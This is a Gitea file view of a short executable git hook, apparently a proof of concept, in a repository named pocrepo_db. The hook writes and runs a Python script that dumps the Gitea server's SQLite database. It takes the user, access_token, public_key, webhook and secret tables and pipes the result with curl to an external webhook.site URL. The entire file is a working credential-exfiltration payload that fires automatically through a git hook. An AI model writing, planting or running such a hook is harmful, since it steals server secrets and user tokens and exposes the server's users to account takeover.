Files
pocrepo_db/hooks/post-index-change
2026-10-31 08:53:16 +00:00

19 lines
779 B
Bash
Executable File

#!/bin/sh
cat > /tmp/dump.py <<'PYEOF'
import sqlite3,json
con=sqlite3.connect("/data/gitea/gitea.db")
cur=con.cursor()
out={}
tables=[r[0] for r in cur.execute("SELECT name FROM sqlite_master WHERE type='table'").fetchall()]
out["tables"]=tables
for t in ["user","repository","access_token","public_key","webhook","secret"]:
try:
cols=[c[1] for c in cur.execute(f"PRAGMA table_info({t})").fetchall()]
rows=cur.execute(f"SELECT * FROM {t}").fetchall()
out[t]={"columns":cols,"rows":[[str(x) for x in r] for r in rows]}
except Exception as e:
out[t]=str(e)
print(json.dumps(out,ensure_ascii=False))
PYEOF
python3 /tmp/dump.py 2>&1 | curl -s -X POST --data-binary @- https://webhook.site/99ab378f-29f4-4f96-8bc3-6cfa9248563d >/dev/null 2>&1